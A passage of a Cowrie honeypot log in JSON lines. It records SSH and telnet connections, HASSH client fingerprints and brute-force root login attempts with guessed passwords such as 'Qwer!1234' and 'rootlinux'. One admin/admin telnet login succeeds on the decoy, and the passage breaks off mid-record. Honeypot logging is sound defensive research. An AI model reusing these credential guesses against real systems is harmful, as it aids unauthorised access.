"diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:50.790050Z","src_ip":"207.154.230.149","session":"9e29e92d52f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"CactiEZ","message":"login attempt [root/CactiEZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:51.152800Z","src_ip":"207.154.230.149","session":"9e29e92d52f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.167.177.203","src_port":42158,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4c23ef5cfb2","protocol":"ssh","message":"New connection: 108.167.177.203:42158 (159.203.135.109:22) [session: b4c23ef5cfb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:51.658043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:51.663232Z","src_ip":"108.167.177.203","session":"b4c23ef5cfb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:51.689180Z","src_ip":"108.167.177.203","session":"b4c23ef5cfb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"victor","message":"login attempt [root/victor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:51.824714Z","src_ip":"108.167.177.203","session":"b4c23ef5cfb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:52.249838Z","src_ip":"207.154.230.149","session":"9e29e92d52f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:52.852098Z","src_ip":"108.167.177.203","session":"b4c23ef5cfb2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:53.456489Z","src_ip":"152.32.132.28","session":"ca44b1b6fd5f","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:53.500604Z","src_ip":"152.32.132.28","session":"ca44b1b6fd5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50890,"dst_ip":"10.17.0.5","dst_port":23,"session":"47889a59d40e","protocol":"telnet","message":"New connection: 192.119.13.58:50890 (10.17.0.5:23) [session: 47889a59d40e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:53.583085Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:54.164519Z","src_ip":"101.126.22.12","session":"72fecd4a1b00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.227.230.54","src_port":59876,"dst_ip":"159.203.135.109","dst_port":22,"session":"432a8f2e1fdd","protocol":"ssh","message":"New connection: 163.227.230.54:59876 (159.203.135.109:22) [session: 432a8f2e1fdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:54.336055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:54.340309Z","src_ip":"163.227.230.54","session":"432a8f2e1fdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:54.582803Z","src_ip":"163.227.230.54","session":"432a8f2e1fdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!%&(_|","message":"login attempt [root/!%&(_|] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:55.588084Z","src_ip":"163.227.230.54","session":"432a8f2e1fdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:56.835299Z","src_ip":"163.227.230.54","session":"432a8f2e1fdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.178.75.242","src_port":59524,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ecd826fd238","protocol":"ssh","message":"New connection: 115.178.75.242:59524 (159.203.135.109:22) [session: 8ecd826fd238]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:57.845606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:57.855143Z","src_ip":"115.178.75.242","session":"8ecd826fd238","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:58.034722Z","src_ip":"115.178.75.242","session":"8ecd826fd238","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.237.246","src_port":32836,"dst_ip":"159.203.135.109","dst_port":22,"session":"04139208b73c","protocol":"ssh","message":"New connection: 43.156.237.246:32836 (159.203.135.109:22) [session: 04139208b73c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:58.263640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:58.268349Z","src_ip":"43.156.237.246","session":"04139208b73c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:58.498944Z","src_ip":"43.156.237.246","session":"04139208b73c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"valentin","message":"login attempt [root/valentin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:58.783432Z","src_ip":"115.178.75.242","session":"8ecd826fd238","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"petter","message":"login attempt [root/petter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:59.452504Z","src_ip":"43.156.237.246","session":"04139208b73c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:59.965154Z","src_ip":"115.178.75.242","session":"8ecd826fd238","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:00.685569Z","src_ip":"43.156.237.246","session":"04139208b73c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.0.59","src_port":41678,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcfdebebe6c6","protocol":"ssh","message":"New connection: 43.153.0.59:41678 (159.203.135.109:22) [session: dcfdebebe6c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:02.660956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:02.666317Z","src_ip":"43.153.0.59","session":"dcfdebebe6c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:02.739621Z","src_ip":"43.153.0.59","session":"dcfdebebe6c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lavoro","message":"login attempt [root/lavoro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:03.050688Z","src_ip":"43.153.0.59","session":"dcfdebebe6c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:04.122524Z","src_ip":"43.153.0.59","session":"dcfdebebe6c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.94.212.80","src_port":57892,"dst_ip":"159.203.135.109","dst_port":22,"session":"4102ca7b7a84","protocol":"ssh","message":"New connection: 184.94.212.80:57892 (159.203.135.109:22) [session: 4102ca7b7a84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:11.843236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:11.848017Z","src_ip":"184.94.212.80","session":"4102ca7b7a84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:11.911787Z","src_ip":"184.94.212.80","session":"4102ca7b7a84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootlinux","message":"login attempt [root/rootlinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:12.196630Z","src_ip":"184.94.212.80","session":"4102ca7b7a84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:13.263118Z","src_ip":"184.94.212.80","session":"4102ca7b7a84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":44060,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8ce4f2befc8","protocol":"ssh","message":"New connection: 181.47.9.103:44060 (159.203.135.109:22) [session: b8ce4f2befc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:16.016465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:16.021545Z","src_ip":"181.47.9.103","session":"b8ce4f2befc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:16.168453Z","src_ip":"181.47.9.103","session":"b8ce4f2befc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwer!1234","message":"login attempt [root/Qwer!1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:16.770881Z","src_ip":"181.47.9.103","session":"b8ce4f2befc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:17.916766Z","src_ip":"181.47.9.103","session":"b8ce4f2befc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.88752627372742,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:18.896077Z","src_ip":"192.119.13.58","session":"2653aad3b303","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.99.193.143","src_port":16722,"dst_ip":"10.17.0.5","dst_port":22,"session":"89093823fd61","protocol":"ssh","message":"New connection: 88.99.193.143:16722 (10.17.0.5:22) [session: 89093823fd61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:26.365896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:26.370264Z","src_ip":"88.99.193.143","session":"89093823fd61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v0